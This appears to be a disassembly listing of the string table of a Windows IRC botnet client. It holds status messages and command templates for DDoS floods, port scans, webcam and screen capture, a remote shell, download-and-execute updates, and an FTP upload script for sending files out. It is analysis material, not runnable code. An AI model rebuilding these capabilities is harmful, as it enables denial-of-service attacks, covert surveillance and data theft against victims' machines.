unk_429B5C	db  2Dh	; -		; DATA XREF: sub_401ACD+7EEDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_429B7C	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E63o
		align 10h
unk_429BD0	db  2Dh	; -		; DATA XREF: sub_401ACD+7E25o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E13o
					; sub_401ACD+7E7Ao
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFCo
		align 10h
asc_429C50:				; DATA XREF: sub_401ACD+7DCCo
		unicode	0, <~>,0
unk_429C54	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
unk_429C78	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 10h
unk_429CA0	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_429CC4	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CE8	db  2Dh	; -		; DATA XREF: sub_401ACD+7C82o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429D0C	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 10h
dword_429D30	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Bo
		dd 2E732520h, 0
unk_429D4C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409685o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_429D78	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB1o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D9C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FDo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DC4	db  2Dh	; -		; DATA XREF: sub_401ACD+7B26o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Co
unk_429DF0	db  2Dh	; -		; DATA XREF: sub_401ACD+79FFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429E18	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B3o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E3C	db  2Dh	; -		; DATA XREF: sub_401ACD+79DCo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429E5C	db  2Dh	; -		; DATA XREF: sub_401ACD+79B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E84	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409468o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_429EAC	db  2Dh	; -		; DATA XREF: sub_401ACD+796Do
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429ECC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EFC	db  2Dh	; -		; DATA XREF: sub_401ACD+7926o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429F1C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409399o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F4C	db  2Dh	; -		; DATA XREF: sub_401ACD+78C5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
dword_429F70	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7885o
		dd 27732527h, 2Eh
unk_429F8C	db  2Dh	; -		; DATA XREF: sub_401ACD+7803o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429FB0	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7786o
		dd 0
unk_429FC8	db  2Dh	; -		; DATA XREF: sub_401ACD+7755o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_42A008	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E6o
		dd 2Eh
dword_42A020	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_409140o
		dd 746E6573h, 2Eh
unk_42A03C	db  2Dh	; -		; DATA XREF: sub_401ACD+766Co
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42A05C	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+7630o
		dd 732520h
unk_42A074	db  2Dh	; -		; DATA XREF: sub_401ACD+7611o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 10h
asc_42A0A0:				; DATA XREF: sub_401ACD+75F9o
					; sub_40F6B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A0A4	db  2Dh	; -		; DATA XREF: sub_401ACD+75CFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 4
unk_42A0C8	db  2Dh	; -		; DATA XREF: sub_401ACD+75C2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_42A0EC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_42A12C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409015o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_42A16C	db  2Dh	; -		; DATA XREF: sub_401ACD+753Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F87o
		align 10h
unk_42A1A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F74o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 4
unk_42A1D8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_42A20C	db  2Dh	; -		; DATA XREF: sub_401ACD+7490o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE6o
		align 10h
unk_42A240	db  2Dh	; -		; DATA XREF: sub_401ACD+740Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 4
unk_42A268	db  2Dh	; -		; DATA XREF: sub_401ACD+73D9o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 10h
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E59o
unk_42A298	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E46o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_42A2D4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_42A304	db  2Dh	; -		; DATA XREF: sub_401ACD+7362o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFEo
		align 4
dword_42A338	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7319o
		dd 2E732520h, 0
unk_42A354	db  2Dh	; -		; DATA XREF: sub_401ACD+72D3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_42A384	db  2Dh	; -		; DATA XREF: sub_401ACD+72B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_42A3AC	db  2Dh	; -		; DATA XREF: sub_401ACD+720Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_42A3CC	db  2Dh	; -		; DATA XREF: sub_401ACD+71D6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_42A3EC	db  2Dh	; -		; DATA XREF: sub_401ACD+7181o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_42A408	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Fo
dword_42A41C	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D5o
					; sub_401ACD+7C48o
unk_42A428	db  2Dh	; -		; DATA XREF: sub_401ACD+70B0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Fo
		align 10h
dword_42A450	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7074o
		dd 25203A29h, 73h
dword_42A46C	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7005o
		dd 203A2973h, 7325h
dword_42A488	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FAAo
dword_42A490	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F7Ao
		dd 203A2973h, 7325h
dword_42A4AC	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F01o
dword_42A4B8	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECFo
					; sub_401ACD+6F58o ...
dword_42A4C0	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E96o
dword_42A4C8	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E85o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A504	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E16o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
unk_42A530	db  2Dh	; -		; DATA XREF: sub_401ACD+6D86o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A56C	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Bo
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A5A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408746o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_42A5D4	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Eo
		dd 7325h
dword_42A5EC	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408674o
dword_42A600	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B63o
					; sub_401ACD+6C15o ...
dword_42A610	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D1o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A658	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AFAo
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A694	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Bo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E3o
		align 4
dword_42A6CC	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6981o
		dd 7325203Ah, 0
unk_42A6E8	db  2Dh	; -		; DATA XREF: sub_401ACD+6976o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A70C	db  2Dh	; -		; DATA XREF: sub_401ACD+68DCo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A748	db  2Dh	; -		; DATA XREF: sub_401ACD+6866o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A778	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Co
					; sub_401ACD:loc_409367o
unk_42A784	db  2Dh	; -		; DATA XREF: sub_401ACD+678Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A7A8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408235o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 10h
unk_42A7E0	db  2Dh	; -		; DATA XREF: sub_401ACD+675Eo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A818	db  2Dh	; -		; DATA XREF: sub_401ACD+66EEo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A844	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Bo
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
dword_42A880	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FCo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 10h
unk_42A8B0	db  2Dh	; -		; DATA XREF: sub_401ACD+6583o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A8E8	db  2Dh	; -		; DATA XREF: sub_401ACD+6514o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A918	db  2Dh	; -		; DATA XREF: sub_401ACD+648Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A950	db  2Dh	; -		; DATA XREF: sub_401ACD+641Bo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A980	db  2Dh	; -		; DATA XREF: sub_401ACD+63A2o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A9B8	db  2Dh	; -		; DATA XREF: sub_401ACD+6333o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A9F4	db  2Dh	; -		; DATA XREF: sub_401ACD+62BAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42AA34	db  2Dh	; -		; DATA XREF: sub_401ACD+624Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42AA60	db  2Dh	; -		; DATA XREF: sub_401ACD+617Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42AAA4	db  2Dh	; -		; DATA XREF: sub_401ACD+610Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42AAE0	db  2Dh	; -		; DATA XREF: sub_401ACD+6010o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F64o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E87o
		align 4
dword_42AB3C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF3o
					; sub_401ACD+715Bo
unk_42AB48	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AB84	db  2Dh	; -		; DATA XREF: sub_401ACD+5D20o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42ABD4	db  2Dh	; -		; DATA XREF: sub_401ACD+5C89o
					; sub_401ACD+607Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AC0C	db  2Dh	; -		; DATA XREF: sub_401ACD+5C1Ao
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42AC74	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 4
unk_42ACA8	db  2Dh	; -		; DATA XREF: sub_401ACD+5A47o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42ACDC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F4o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42AD0C	db  2Dh	; -		; DATA XREF: sub_401ACD+5920o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5907o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58F0o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CDo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A9o
					; ___:00411C62o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5898o
		align 4
unk_42AD7C	db  2Dh	; -		; DATA XREF: sub_401ACD+584Eo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Bo
		align 4
unk_42ADA4	db  2Dh	; -		; DATA XREF: sub_401ACD+57F5o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42ADE4	db  2Dh	; -		; DATA XREF: sub_401ACD+5798o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AE1C	db  2Dh	; -		; DATA XREF: sub_401ACD+572Do
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AE64	db  2Dh	; -		; DATA XREF: sub_401ACD+567Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42AE98	db  2Dh	; -		; DATA XREF: sub_401ACD+5648o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42AECC	db  2Dh	; -		; DATA XREF: sub_401ACD+5624o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AF04	db  2Dh	; -		; DATA XREF: sub_401ACD+5582o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5565o
		align 4
unk_42AF58	db  2Dh	; -		; DATA XREF: sub_401ACD+5550o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42AF90	db  2Dh	; -		; DATA XREF: sub_401ACD+54E1o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_42AFD8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406F00o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 10h
unk_42B010	db  2Dh	; -		; DATA XREF: sub_401ACD+5429o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
